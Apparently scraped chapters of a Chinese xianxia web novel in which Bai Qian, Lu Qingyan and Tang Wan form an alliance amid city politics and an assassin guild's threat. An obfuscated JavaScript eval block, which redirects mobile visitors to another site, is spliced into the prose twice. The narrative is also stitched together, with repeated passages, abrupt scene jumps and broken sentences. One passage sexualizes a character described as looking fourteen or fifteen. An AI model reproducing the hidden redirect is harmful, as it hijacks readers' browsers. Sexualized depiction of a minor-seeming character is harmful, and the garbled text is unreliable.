仅仅是一尊石像残留的一丝意念,就有如此神异。真不知这位初代殿主本尊,修为到了何等境界? 白浅心中暗凛,连忙收敛心神,压□□内冰晶核心的异动。她听说,唯有修为达到圣者层次,才能剥离一丝本命神念,寄托于圣像之中,长存世间。 她的目光,不由自主地投向神像发髻之上的星辰冠冕。冠冕中央,镶嵌着一颗缓缓旋转的暗金色轮盘。轮盘结构复杂,层层嵌套,核心处一点银白光芒恒定闪耀,散发出令空间扭曲的波动。 那是传说中的恒古神殿镇殿圣器——太虚轮回盘的投影! 正是借由这等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一声充满威严的咆哮,骤然从兽潮后方传来!数百头低阶妖兽同时身体一僵,随即赤红着双眼,如同黑色潮水,朝着摇摇欲坠的防线发起了不计代价的集团冲锋!“是指挥型高阶妖物!”老兵骇然惊呼。陆青烟瞳孔骤缩,目光瞬间锁定兽潮后方——那里,赫然矗立着一头人立而起、身高过丈、浑身覆盖着暗青色鳞甲的狰狞魔猿!四臂青鳞猿,三阶巅峰妖兽!“所有远程攻击,覆盖射击!符箓不要省!”陆青烟清越的嗓音穿透喧嚣,“近战组,补上缺口!”她的命令迅速被传递。稀稀拉拉的火球、冰锥和符箓光芒射向兽群,但妖兽实在太多,防线压力陡增。“大人!东区木栅破了!”西边顶不住了!”惨叫声、怒吼声、兵刃撞击声混成一片。一只喷火蜥的火球在人群中炸开,瞬间点燃了两名武者。陆青烟知道,再不斩首,防线顷刻即破。“李校尉!”她看向身旁一名浑身浴血却死战不退的城卫军校尉,“你坐镇指挥,务必再坚持一炷香!”“陆姑娘!太危险了!”“唯有斩首,方有一线生机!”陆青烟语气斩钉截铁,回头看向自己带来的两名雨韵剑宗内门好手,“王师兄,赵师弟,随我来!”话音未落,她已纵身跃出工事,惊鸿剑青光暴涨,化作一道撕裂黑暗的惊鸿,逆着兽潮,直扑那头四臂青鳞猿!王、赵二人虽面色发白,但深知别无选择,怒吼一声,紧随其后。三人如同三柄尖刀,硬生生在狂暴的兽潮中撕开一道血路。那四臂青鳞猿见居然有人类敢主动袭来,眼中猩红光芒大盛,仰天发出震怒咆哮,四条巨臂狠狠一拍地面,带着腥风扑下!“轰!”战斗瞬间白热化。陆青烟将《青雨惊虹诀》催动到极致,剑光如雨,专攻魔猿关节、眼鼻等脆弱之处。王、赵二人也从旁竭力牵制。然而,魔猿鳞甲坚固,力大无穷,四条手臂挥舞开来,仿佛四面巨盾。陆青烟剑气难伤,反被逼得险象环生。“砰!”魔猿一条手臂以不可思议的角度砸来,陆青烟勉强横剑格挡,虎口崩裂,惊鸿剑险拟脱手,整个人向后踉跄倒飞,喷出一口鲜血。“陆师妹!”王师兄惊叫,拼命抢攻,却被魔猿另一条手臂扫中,胸骨塌陷,吐血倒地。难道一切都要结束在这里?陆青烟眼中闪过一抹决然。她想起临行前姑姑陆徽的叮嘱:“青烟,巴山夜雨城重实绩,更重绝境中的勇气与实力。若事不可为,当以保全自身为要,但若有一线生机,便要让人看到你的价值。”现在的价值,就是斩杀这头魔猿!她猛地从怀中掏出一个玉瓶,将仅剩的三颗猩红丹药——燃血逆脉丹全部倒入口中!狂暴的药力瞬间炸开,原本萎靡的地煞之气疯狂暴涨,带来经脉撕裂般的剧痛,但也赋予了她远超平时的力量!“惊鸿贯日!”她厉叱一声,将暴涨的全部力量,连同胸中一股不屈的傲气,尽数灌注于惊鸿剑中!剑身发出不堪重负的嗡鸣,清濛的雨意剑气骤然转化为一道凝练到极致、炽烈如朝阳初升的赤金色剑虹!与此同时,她袖中一枚陆徽赐予的保命剑符也被暗中引动,一道细微却凌厉无匹的透明剑气后发先至,精准地射向魔猿因挥舞手臂而暴露出的腋下要害!“噗!”剑符所化的透明剑气率先穿透鳞甲,狠狠扎入其腋下!魔猿剧痛,动作一滞。就是现在!赤金色剑虹贯穿了魔猿的咽喉!魔猿庞大的身躯轰然倒地,激起一片尘土。 李校尉带着人狂奔而来,看到魔猿尸体和濒临昏迷的陆青烟,又惊又佩,连忙下令:“快!扶陆姑娘下去疗伤!打扫战场,救治伤员!立刻用传讯法阵,将此地战况,尤其是陆青烟姑娘临危受命、逆斩三阶巅峰兽王、挽救砺剑谷防线的功绩,详细禀报城主府!” 陆青烟在被人搀扶起来时,模糊的视线穿透渐亮的晨光,望向了巴山夜雨城中心。这条用命搏来的功勋之路,终于,踏出了染血的第一步。暗流交汇的巴山夜雨城,城主府。白望春一袭素袍,立于窗前,听着心腹老仆的低声禀报。“城主,砺剑谷急报。陆青烟姑娘临危受命,斩杀四臂青鳞猿,力挽狂澜。鹤翔区主翔天云已上书请功。”“哦?”白望春嘴角掠过一丝几不可察的弧度,“看来这届的年轻人,倒是比想象中更有担当。”她顿了顿,目光投向窗外依旧淅沥的雨幕。“那个新收的义女,白为衫,这几日可还安分?”“回城主,白姑娘深居简出,只是在静心院中诵经祈福,为云家亡魂超度。只是……”老仆迟疑了一下,“只是今日清晨,静心院外发现了一枚紫色的羽毛,不知是何物。”“紫色羽毛?”白望春眼中闪过一丝寒光,“彩羽楼的标记么?看来,这雨,是越下越大了。”惜春之年,砺剑试心。真与假,善与恶,复仇与守护。所有的线,都在这里绷紧,只等那最后的一刀落下。 46. 浅草初没马蹄轻 甜蜜阁·师尊的警示与暗流,恒古神殿,银袍长老阁深处。穿过重重禁制与回廊,白浅终于来到那座被柔和暖光与淡雅花香笼罩的静谧殿堂“甜蜜阁”。师尊甜蜜斜倚在铺着雪绒软榻上,指尖捻着一枚剔透的灵玉,看似慵懒,眼底却藏着洞悉一切的清明。见白浅平安归来,她眼中掠过一丝欣慰,但很快,秀美如画的眉头便微微蹙起。“丫头,你这脸色怎比平日更显苍白?是先前引动‘法则共鸣’消耗甚巨,还是受了暗算?”甜蜜的声音听不出喜怒,却让殿内的温度降了几分。白浅恭敬回道:“劳师尊挂心。确是消耗过大,且在返回途中遭遇了彩羽楼杀手的拦截,不过已无大碍。”“彩羽楼”甜蜜轻哼一声,指尖的灵玉“咔嚓”一声裂开一道细纹,“这群阴沟里的老鼠,倒是越来越大胆了。看来巴山夜雨城这潭水,是越来越浑了。”她放下玉简,起身走近,一股清凉的灵力探入白浅经脉,“经脉有暗伤,神魂也有震荡。看来那场‘法则共鸣’远非你描述的那么轻松,而那场拦截恶战,也凶险异常。”甜蜜收回手,重新倚回软榻,语气变得严肃:“浅儿,你既已归来,便安心养伤。但你要记住,你如今已是巴山夜雨城这架庞大机器上的一颗新钉。有了身份,便有了束缚,也有了靶子。彩羽楼、云为衫、乃至你母亲叶轻眉留下的那些因果,都将更快地涌向你。尤其是那位城主姑姑”甜蜜意味深长地顿了顿,“她护你,却也将你推到了风口浪尖。五大区主,可不是个个都像波涟漪那样好说话。”白浅心中凛然,郑重点头:“弟子明白。多谢师尊提点。”翠微阁·五区共议与暗箭巴山夜雨城,翠微阁。气氛凝重得能拧出水来。白望春端坐主位,身后侍立着五位风姿绰约、却各怀心思的女区主。这正是执掌巴山夜雨城五大区域的实权人物:宫鸣区主·鹤之舞,气质清冷,如鹤独立,掌管宗祠禁地与核心传承,此刻正用审视的目光打量着白浅,带着世家大族对孤女天然的轻视。商风区主·叶轻扬,眉眼精明,长袖善舞,负责商贸财货与对外联络,嘴角噙着一丝看好戏的笑意。角鹿区主·乐林间,笑容温婉,心思缜密,司职内务协调与情报梳理,此刻却垂眸不语,不知在盘算什么。徵水区主·波涟漪,目光沉静,医术通玄,精研药理、阵法与地煞调和,是白浅的坚定支持者,也是此刻唯一流露关切之人。羽鹤区主·翔云天,英气勃勃,锋芒内敛,统领城防、执法与秘境探索,眉头微皱,显然对有人敢在自家地盘袭击白浅感到不悦。白浅挣扎着欲下床行礼,白望春纤手虚按,一股柔和却不容抗拒的力道将她稳稳托住。“躺着。”白望春声音虽不高,却带着刺骨的冷意,“浅浅在恒古神殿城外遇袭受伤,此事,任何人都不得外传。违者,以叛城论处!”“是!”五位区主齐声应道,神色肃然,但那肃然之下,是各自翻涌的心思。波涟漪上前为白浅把脉,指尖传来清凉的药力。白浅靠在榻上,任由波涟漪施为,心中却是波涛汹涌。她能感觉到,鹤之舞与叶轻扬的目光,如同实质的针,刺在她身上。果然,鹤之舞率先开口,声音清冷如冰泉:“城主师姐,妾身有一言。这‘辅理’之职,虽是虚衔,却也关乎各区体面。白浅姑娘初来乍到,修为尚浅,又刚经历风波,此时任命,恐难服众。不如等她伤愈,先在徵水区历练些时日,再行定夺?”这话看似为白浅着想,实则是在质疑白望春的决定,削弱白浅这个新晋“辅理”的威信。叶轻扬立刻接口,语气带着几分阴阳怪气:“鹤姐姐说得是。听闻白浅姑娘在恒古神殿引动了不小的异动,连‘法则共鸣’都出来了。这等天骄人物,放在小小的徵水区做辅理,岂不是明珠暗投?莫要耽误了人家的前程才是。”这是明褒暗贬,将白浅架在火上烤,暗示她野心勃勃,不安于位。波涟漪目光一沉,正要反驳,白望春却轻轻摆了摆手。“鹤之舞,叶轻扬。”白望春的声音不大,却让整个翠微阁瞬间安静下来,“本座既已决定,便无更改。浅浅是叶轻眉的女儿,也是我白望春的侄女。她的身份,由我来定,她的职责,也由我来分派。你们只需配合,无需置疑。”她目光扫过众人,带着不容置疑的威严:“至于历练,这巴山夜雨城内外,何处不是历练?砺剑谷兽潮,唐婉遇袭,哪一件不是生死考验?浅浅能安然归来,便证明了她的能力。你们只需做好分内之事,其他的,不必多言。”一番话,堵死了所有质疑。鹤之舞与叶轻扬虽仍不服气,却不敢再当面顶撞。白浅将这一切看在眼里,心中冷笑。这便是仙侠宅斗,看似风平浪静,实则刀光剑影。她这个新来的“孤女”,要想站稳脚跟,光有城主姑姑的庇护还不够,必须有自己的实力和筹码。观雨阁·深夜召见与权谋布局夜色渐浓,雨丝悄然飘落。巴山夜雨城·宫鸣区深处,城主府“观雨阁”。白望春已屏退左右,阁中只有她与白浅相对而坐。烛火通明,映照着白望春那张与叶轻眉有七分相似的脸庞。“浅浅,”白望春的声音温和,却带着不容置疑的洞察力,“你母亲叶轻眉与我的约定,只剩下最后一年。一年之后,你年满十六,我便不能再以任何理由强留你。”白浅心头微紧,点了点头。这是悬在她头顶的利剑。“今日翠微阁上,鹤之舞与叶轻扬的态度,你都看到了。”白望春指尖轻叩桌面,“这便是巴山夜雨城的现状。五大区主,各掌一方,盘根错节。我给你‘辅理’之职,便是让你名 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正言顺地介入其中,分化和制衡。你明白吗?”“浅浅明白。”白浅沉声道,“姑姑是要我成为一枚楔子,钉入这五大区的缝隙之中。”“聪明。”白望春眼中闪过一丝赞许,“你只需挂此虚衔,日常事务自有涟漪处理。你的首要任务,是养伤,是修炼,是弄清楚你母亲留下的东西,以及彩羽楼真正的图谋。至于唐婉与陆青烟”白望春目光深邃:“她们是你母亲故交的门下,品性、能力皆经考验。我已安排她们暂居徵水区。在这风雨欲来的巴山夜雨城,值得信赖的同伴,比任何虚职都更重要。你们三人,要互相扶持。”她站起身,走到窗前,望着外面的夜雨:“浅浅,我不可能永远将你护在羽翼之下。你母亲将你托付给我十六年,是希望你能平安长大,而非成为一个不识世间险恶的笼中鸟。如今,唐婉和陆青烟的到来,或许正是契机。在相对安全的徵水区,在涟漪的看顾下,与她们一起,学着应对风雨,查明真相。这,才是对你真正的历练与保护。”凝碧轩·三方聚首与盟约白浅退出观雨阁,走在被夜雨打湿的回廊上。凉风带着水汽拂面,让她思绪更加清晰。城主姑姑在为她铺路,也在下一盘关乎她未来、也关乎巴山夜雨城局势的棋。而她自己,也必须尽快行动起来。回到凝碧轩客院时,夜已深。侍女早已备好热水与安神香。白浅挥退侍女,独自站在窗前。她不再去想那些复杂的算计,而是将心神沉静下来,内视己身。丹田中,那枚冰晶核心似乎感应到她的决心,微微亮起,流转着清冷而神秘的光华。那些因“法则共鸣”而铭刻上的古老道痕,此刻正散发着微弱却坚韧的光芒。“力量才是根本。”白浅低声自语。忽然,院外传来轻微的脚步声。两道身影悄然走近。一道青衣,身姿挺拔,是陆青烟。一道黑衣,气息内敛,是唐婉。白浅睁开眼,眸中清光一闪而逝。她推开房门,走了出去。院中,细雨蒙蒙。唐婉与陆青烟已等在廊下。“白浅妹妹。”陆青烟微微一笑,递过一个玉盒,“这是姑姑让我带给你的‘九窍还魂丹’,对调养神魂大有裨益。”唐婉则更直接,将一个储物袋放在桌上,声音清冷:“这是我在彩羽楼杀手身上搜刮来的灵石和一些毒经,或许对你有用。”白浅看着她们,心中涌起一股暖流。她知道,这不仅仅是礼物,更是一种表态,一种结盟的信号。“多谢青烟姐姐,多谢唐婉姐姐。”白浅郑重行礼,“从今日起,浅浅便与两位姐姐同进退,共患难。无论前路是刀山火海,还是万丈深渊,我们三人,便是一体的。”陆青烟与唐婉相视一笑,皆从对方眼中看到了相同的决意。窗外,雨声淅沥。凝碧轩内,三股年轻的势力,正式结成了同盟。风暴,才刚刚开始。 47. 青衫红妆共此夜 惊雷破局三方初会晤,凝碧轩内,丹香袅袅,却压不住窗外那股突如其来的天地威压。白浅正按照波涟漪的指导,盘膝坐于蒲团之上,试图以精纯的精神力内视丹田,沟通那枚愈发神秘的冰晶核心。忽然,一道刺目的雷光撕裂了巴山夜雨城上空终年不散的阴云,紧接着,一声震耳欲聋的炸雷轰然落下!“轰隆——!” 那雷霆并非寻常的紫红色,而是呈现出一种神圣的纯白,其中蕴含的破邪凛然之意,竟与白浅冰晶核心深处的某一缕气息产生了微弱的共鸣。丹田内的冰晶猛地一颤,散发出一阵温热,将她从入定中强行惊醒。 几乎在雷声响起的同时,院外传来了急促却轻盈的脚步声,侍女带着一丝惊慌在门外通报:“小姐!区主请您立刻去前厅!有两位故人来访,说是因方才天象异动,特来探望!” 故交?白浅瞬间便想到了白望春昨日提及的唐婉与陆青烟。她们来得如此之巧,是巧合,还是这雷动本就与她们有关 她压下心中的惊疑,在波涟漪一名心腹侍女的陪同下,快步走向前厅。 前厅之中,气氛凝重得能拧出水来。波涟漪端坐主位,神色沉静如水,但那微微眯起的双眼中,却透着审视的精光。下首两侧,则坐着另外两位区主——宫鸣区主·鹤之舞与商风区主·叶轻扬。这二人的到来,显然不是为了喝茶,而是为了刚才那道惊雷。厅下站着两人,正是唐婉与陆青烟左侧的唐婉,一身绯红劲装,外罩防雨蓑衣,身姿挺拔如松。她腰间佩剑,手指无意识地摩挲着袖口,那是一种长期与毒物打交道的本能戒备。她的目光清亮锐利,在白浅踏入厅门的刹那,便如刀锋般扫了过来,带着评估与探究。 右侧的陆青烟,则是一身青绿长裙,气质温婉沉静,宛如雨中青竹。她面色尚有些失血后的苍白,但气息已初步稳固,显然砺剑谷的伤势在波涟漪的调理下恢复得不错。她看向白浅的目光,带着明显的关切与一丝不易察觉的好奇。 “浅浅,你来了。”波涟漪开口,声音温和,却为这场会面定下了基调,“这两位,便是你城主姑姑提过的唐婉姑娘与陆青烟姑娘。方才城中天象骤变,雷动惊人,她们担心你的安危,特来探望。” 唐婉上前一步,抱拳行礼,声音清脆利落,带着江湖儿女的爽利:“白浅妹妹,唐突了。方才那雷……”她顿了顿,眼中闪过一丝凝重,“并非寻常天雷,倒像是某种极高明的雷符失控,或是有人修炼特殊雷法突破所致。我与青烟正在附近熟悉环境,感应到此雷落点离徵水区不远,担心是彩羽楼声东击西之策,故而立刻赶来。你无事便好。” 陆青烟也微微欠身,语气柔和却带着力量:“白浅妹妹,初次见面。城主师姑与我师尊有旧,嘱我看顾于你。方才异动,确实令人不安。你伤势未愈,更要小心。” 白浅看着眼前这两位风格迥异、却同样出色的女子,心中那股自穿越以来的孤独与不安,奇异地被冲淡了许多。她按照记忆中的礼仪,盈盈还礼:“唐婉姐姐,青烟姐姐,多谢挂怀。浅浅无恙。”波涟漪目光在三人之间流转,适时地笑道:“既然都担心那雷动的缘由,又都是自己人,不妨坐下说话。我已命人查探,很快会有回报。另外,”她看向白浅,语气自然地将那层窗户纸捅破,“正好,你城主姑姑的任命文书已到。从今日起,你便是徵水区辅理,协助处理一些文书与外联事务。唐姑娘追查彩羽楼,陆姑娘需在城中历练,你们三人年纪相仿,日后少不了要打交道。不如借此机会,多熟悉熟悉。”这番话,为三人的会面与未来的合作,铺上了最顺理成章。侍女奉上清茶。三人落座,气氛一时有些微妙的凝滞。 唐婉目光如炬,暗中打量着白浅,似乎在评估这位身世成谜的妹妹,究竟有何特殊,能引动城主如此安排,又能让师尊特意叮嘱。 陆青烟则更多是温和的观察,带着一份对需要看顾的妹妹的责任感。 白浅能感觉到两人目光中的审视,她深吸一口气,决定主动破冰。她看向唐婉,眼神清澈:“唐婉姐姐方才说对彩羽楼手段了解甚深,可是觉得,此雷与彩羽楼有关?”唐婉略一沉吟,道:“彩羽楼中,确有精通雷法与毒雷的杀手,但能达到刚才那般威势与纯粹度的,至少是‘魉’级中的佼佼者,且需提前布置。但此雷来得突兀,去得干脆,不似攻击。”她看了波涟漪一眼,见对方微微点头,才继续道,“倒像是一种宣告,或是试探。也可能是有人修炼时意外引发,但能引发全城警戒的,此人修为或所修功法,绝不简单。”陆青烟接口,声音沉静:“还有一种可能。巴山夜雨城地煞灵脉特殊,五大区属性各异。方才雷落之处,恰在宫鸣区与徵水区交界。宫鸣区主肃杀、徵水区主润泽调和……是否有可能,是地煞灵脉偶然波动,引动了天地雷煞?”“哼,雷煞之说,未免太过牵强。”坐在下首的鹤之舞忽然冷哼一声,声音清冷如冰泉,“宫鸣区乃城防重地,岂容他人随意窥探?波涟漪,你这新任的辅理,上任第一日便遇上这等异动,还需好好查查,莫要让宵小钻了空子。”这话明着是提醒,暗地里却是在敲打波涟漪管教不严,以及质疑白浅的来历。叶轻扬立刻接口,语气带着几分阴阳怪气:“鹤姐姐说得是。听闻白浅姑娘在恒古神殿引动了不小的异动,连‘法则共鸣’都出来了。这等天骄人物,放在小小的徵水区做辅理,岂不是明珠暗投?莫要耽误了人家的前程才是。”这是明褒暗贬,将白浅架在火上烤,暗示她野心勃勃,不安于位。波涟漪目光一沉,正要反驳,白浅却忽然开口了。她声音不大,却清晰地传入每个人耳中:“鹤区主、叶区主教训的是。浅浅初来乍到,修为浅薄,遇事难免惊慌。不过,方才那雷霆落下时,浅浅丹田内的冰晶核心确有一丝感应。那雷似乎并非针对巴山夜雨城,反倒像是一种呼唤。”呼唤?”鹤之舞与叶轻扬同时一怔。“不错。”白浅迎着两人的目光,不卑不亢,“一种来自更高维度的呼唤。若是彩羽楼所为,他们断无此等手笔。若说是地煞灵脉波动,又怎会偏偏在我入城之时发生?我想,这或许与我母亲叶轻眉留下的某些因果有关。”她将责任巧妙地引向了自己母亲的神秘背景,让鹤之舞与叶轻扬一时无从发作。毕竟,叶轻眉是连城主白望春都忌惮三分的传奇人物。波涟漪眼中闪过一丝赞许,适时地化解了这丝尴尬:“好了,既然浅浅都这么说了,此事便交由她与唐、陆两位姑娘一同查探。鹤之舞,你宫鸣区的防务,叶轻扬,你商风区的情报,都要全力配合。记住,内斗,是我们最不愿看到的。”“是。”三人齐声应道,但那语气中的敷衍与不服,却显而易见。凝碧轩·天眼惊鸿,波涟漪离开后,前厅只剩下三位少女。方才因分析雷动而略显紧绷的气氛松弛下来,却又弥漫开一种新的、微妙的沉默。 是同行者的审视,是初见者的好奇,也是命运被无形之手推动至此的恍然。 最终还是唐婉先笑了笑,那笑容冲淡了她眉宇间的锐利,显得亲切了些:“白浅妹妹,往后就要多打扰了。我性子直,查案时可能风风火火,若有冒犯,妹妹多包涵。” 陆青烟也温言道:“我于剑道与调理地煞之气上略通一二,妹妹若有修行上的疑问,或需调理伤势,可随时找我。” 白浅看着她们,心中暖流涌动。她站起身,露出穿越以来第一个真正轻松、真诚的笑容:“唐婉姐姐,青烟姐姐,你们能来,我很高兴。这巴山夜雨城风雨欲来,前路未卜,能结识两位姐姐,是浅浅之幸。日后,还请两位姐姐多多指教。” 她伸出手。唐婉挑眉,随即爽快地伸手与她相握。陆青烟微微一笑,也将手覆上。 就在这时,白浅的脑海中忽然“嗡”的一声响,冰晶核心微微震颤。她只觉眼前一花,视线穿透了陆青烟的衣物,看到了她贴身的薄纱肚兜与曼妙身躯。那画面香艳无比,让白浅瞬间呆住,脸颊“刷”地一下红透了。 “白浅,你爬那么高干什么?也不怕滚下来摔死?” 下方,一个少女娇俏的声音响起,打破了这尴尬的幻象。白浅低头望去,只见院落中央,不知何时站着一个婀娜媚俏的女子,正是陆青烟。她看上去像是个十多岁的少女,可身材却好得惊人,雪白的肌肤,纤长的脖子,饱满的胸脯,纤腰如柳。 白浅连忙收起天眼,再看向陆青烟时,一切已恢复正常。只见陆青烟穿着银色的长袍,将肌肤映得格外白皙,腰间系着青色的玉带,挂着一块蝴蝶形状的环佩。她就像永远都不会长大的十四、五岁少女,只有那身材发育得越来越完美,简直就是一个迷死人的尤物。 陆青烟见白浅一直盯着她看,眼神越来越古怪,于是笑盈盈地眨巴着眼眸,柔声道:“咋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594672|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们才多久没见,你用得着用那种眼神看我?难道,我长得比唐婉还漂亮?” 白浅终于反应过来,十分尴尬,连忙掩饰道:“没什么,估计是前段时间受了伤,还没有痊愈,有些眼花。” 陆青烟早就听说白浅受了伤,便也不再深究,关心的道:“再过几天,我们就要随城主前往宫鸣区参加重要集会。你可要尽快恢复过来,争取在集会上好好表现,让各方都看一看我们巴山夜雨城年轻一代的风采。”随后,她从储物手镯里,取出一只半尺长的寒冰玉匣,递到白浅的手中,道:“这是一枚五品疗伤丹药‘龙骨丹’,你先拿去服用。”白浅推脱道:“我的伤势不打紧,陆师姐不用对我这么好。”陆青烟对白浅翻了一个白眼,佯怒道:“作为最好的姐妹,我当然要照顾好你。”似乎觉得说出这话有些不妥,她立即又道,“也对,你现在有城主和波姨照看,一枚五品疗伤丹药,估计你是看不上眼。”白浅苦笑着摇头,连忙将玉匣接过去。再不接,怕是就要将这位师姐给得罪了。见到白浅收下龙骨丹,陆青烟的心中略微窃喜,连她自己都不太明白为何会那么高兴。似乎比她自己得到一枚龙骨丹,还要高兴十倍。静室密谈·资源与托付晚膳过后,陆青烟离开。白浅和唐婉则来到了白浅平时静修的静室。将石门关上,开启了简单的隔音阵法。见白浅如此小心谨慎,唐婉的眼神也逐渐凝重起来。白浅取出一枚光系灵晶,放在石桌上面,将静室照亮。她看着唐婉,肃然道:“唐婉姐姐,武者的修为达到一定境界,耳力和视力都会大增,精神感知也更为敏锐。所以,有些话不能在外面说,有些事也不能在外面做,以防被有心人给听到和看到。这一点,你今后也要牢记。在江湖之中,必须要无比小心谨慎,稍有不慎,就可能万劫不复。”唐婉点了点头,端端正正地立在那里,十分庄重的听着白浅说的每一个字。白浅将一串储物吊坠取出来,晶蓝古玉的材质,雕刻得精致,捏在手中,可以感受到一股淡淡的寒气。她向前走了一步,亲手将储物吊坠挂在唐婉的脖颈,道:“这不仅仅只是可以储物,在你遇到危险的时候,只需将真气注入其中,就能激活防御铭纹,保你一条性命。但是,只能使用三次,唐婉姐姐,你一定要慎用。”这是一件护身宝物,更是一件空间宝物,唐婉十分清楚它的价值。她没想到白浅会送如此贵重的东西。白浅继续道:“储物吊坠里面,我放了几件东西给你。其中,灵晶一共大概有五十万枚。”没等白浅继续说下去,唐婉就立即惊声道:“五十万枚灵晶!浅浅,我用不了那么多资源,给我一万枚灵晶就够了!”五十万枚灵晶,这绝非一个小数目。别说唐婉现在,就是对她背后的势力来说,也是一笔相当庞大的资源。白浅轻轻按住唐婉的手,目光清澈而坚定:“唐婉姐姐,你先听我说完。这些灵晶,还有里面的几瓶波姨炼制的上品疗伤、解毒丹药,以及几卷我誊抄的关于巴山夜雨城地煞特性、周边势力概况的笔记,都不是给你个人享用的。”她的声音压低,却字字清晰:“彩羽楼无孔不入,巴山夜雨城暗流汹涌。我身份特殊,目标明显,许多事做起来不便。而你,唐婉姐姐,你心思缜密,经验丰富,又是外来者,有些事反而方便。这些资源,是希望你能在暗中,替我,也替我们,留意一些事情,结交一些人,或者在关键时刻能有一些应急的底气。”“我们?”唐婉敏锐地抓住了这个词。“对,我们。”白浅的目光与唐婉坦然相对,“你,我,还有青烟姐姐。城主姑姑将我们聚在一起,波姨为我们提供方便,不是让我们来喝茶聊天的。彩羽楼的威胁,我身上的谜团,这城中的风雨我们需要彼此扶持。” 唐婉沉默了。她看着眼前这个看似柔弱、眼眸却无比清亮的少女,忽然明白,白浅绝不是一个需要被单纯保护的瓷娃娃。她在用她的方式,主动布局,寻求盟友,并赋予这联盟实质的力量。“我明白了。”唐婉没有再推辞,她握住胸前的吊坠,感受着其中蕴含的信任与托付,眼神重新变得锐利而沉稳,“这些东西,我会用在最该用的地方。你放心,既然城主与波区主将你看顾之责托付于我,我唐婉必不负所托。至于彩羽楼,还有这城中的暗鬼,我们一起揪出来!”白浅笑了,那笑容如释重负,又充满期待:“谢谢唐婉姐姐。”窗外,雨声淅沥。静室内,盟约已成。惜春之年,辅理初立,姐妹同心。风暴,才刚刚开始。 48. 落花人独立微雨 静室密谋·雷动之始凝碧轩静室,灯火摇曳。 两道人影被投在冰冷的石壁上,随着窗外淅沥的雨声轻轻晃动。空气里弥漫着淡淡的安神香,却驱不散那股山雨欲来的凝重。“唐婉姐姐,”白浅轻声开口,打破了这令人窒息的沉寂,“方才在厅中,波姨说雷击之处是宫鸣区废弃的引雷台遗址。这个说法,你可信?” 唐婉并未立刻回答。她把玩着胸前那枚晶蓝吊坠,指尖在玉质的寒凉上轻轻摩挲,眼中闪烁着思索的光芒。她出身唐门,最擅长的便是从纷繁复杂的表象中剥离出毒药与陷阱。良久,她才冷笑一声:“废弃遗址?地煞潮汐异常?这解释就像一碗刚煮沸的汤,热气腾腾,正好用来烫人的嘴。太巧了,巧得让人作呕。”她站起身,绯红的衣摆在狭小的静室内划出利落的弧线,像一团在暗室中燃烧的火焰。“我行走江湖这些年,见过太多‘巧合’背后都是精心设计。一道雷劈下来,正好劈在两区交界,正好让你体内的‘冰晶核心’产生共鸣,正好把全城的注意力都吸引过去。波区主当众那么说,不过是给外人看的。城主府目前希望此事‘到此为止’,我们若是贸“对。”唐婉转身,一字一顿道,“第一,这道雷劈在哪里不好,偏偏是宫鸣区与徵水区交界。这是巧合,还是有人故意选择这个地点?宫鸣区主鹤之舞向来与波姨不和,这雷一劈,是把脏水往徵水区泼,还是想把水搅浑,让所有人都下水?” “第二,雷击之后,全城戒严,五大区必然都有动作。谁的反应最快?谁的人最先赶到现场?谁在趁机调动人手、调整布防?谁又在暗中散布谣言,说这是天罚,说你是灾星?” 她的话像一根针,精准地刺破了白浅眼前的迷雾 窗外的雨声忽然大了起来,噼里啪啦打在屋檐上,像是在应和着这个惊人的推测。白浅深吸一口气,强迫自己冷静下来。穿越至今不过月余,她一直在被动地接受信息、养伤、学习,直到此刻,在唐婉抽丝剥茧的分析中,她才真正感受到自己置身于怎样一个旋涡中心。“那我们现在该做什么?”白浅问,声音已恢复了平静。“等。”唐婉重新坐下,端起早已凉透的茶抿了一口,“等青烟那边的消息。她去了波姨那儿,以她的细心,应该能注意到些我们注意不到的东西。比如,鹤之舞是不是急着派人去现场收尸了?叶轻扬是不是在暗中调动商风区的商户封锁消息?乐林间是不是又在弹那首杀伐曲了?”她顿了顿,眼神中多了几分郑重:“浅浅,你要尽快掌握你体内那枚‘核心’的力量。我不知道叶前辈留给你的是什么,但能在雷击下产生共鸣,绝非凡物。在巴山夜雨城,尤其是现在,力量才是最大的底气。没有实力,你就是案板上的鱼肉,就算有城主姑姑护着,也挡不住那些躲在阴暗里的毒蛇。”白浅郑重点头。她何尝不想掌握?只是那冰晶核心玄奥无比,她至今也只能引动其中一丝寒气,更多时候它都静静悬浮在丹田中,缓慢旋转,仿佛在等待什么,又仿佛在蔑视她这个微弱的主人。“还有,”唐婉从怀中取出一枚不起眼的黑色铁牌,放在桌上,“这是我唐门的联络信物。你收好,若遇紧急情况,可去城南‘济世堂’药铺,出示此牌,掌柜自会帮你。记住,这是保命的东西,不是万不得已,不要用。”白浅拿起铁牌,触手冰凉,正面刻着繁复的云纹,背面则是一个极小的“唐”字。她小心收进怀中,心中暖流涌动——这不仅是信物,更是唐婉给予的信任,是将后背交给对方的誓言。“对了,”唐婉忽然想起什么,嘴角勾起一抹意味深长的笑,“你方才说,过几日要去宫鸣区参加集会?”“是。城主姑姑说那是年轻一代的聚会,五大区杰出弟子都会到场。”白浅答道,随即意识到什么,“姐姐的意思是?”“那可是个‘好机会’。”唐婉眼中闪过狡黠的光,“五大区年轻一辈齐聚,正是观察各派势力、摸清各家底细的绝佳时机。而且,”她压低声音,“我收到消息,彩羽楼最近在巴山夜雨城的活动,似乎与。“该回去了。”唐婉起身,“明日我会以‘熟悉环境’为由,在徵水区转转。青烟那边若有什么发现,我会及时告知你。你这几日专心准备集会,也小心些,我总觉得今晚的雷,只是个开始。”白浅将唐婉送到静室门口。廊外雨势稍歇,但夜色浓得化不开,仿佛一只巨兽匍匐在巴山夜雨城上空,正贪婪地盯着这座城里的每一个人。“唐婉姐姐,”在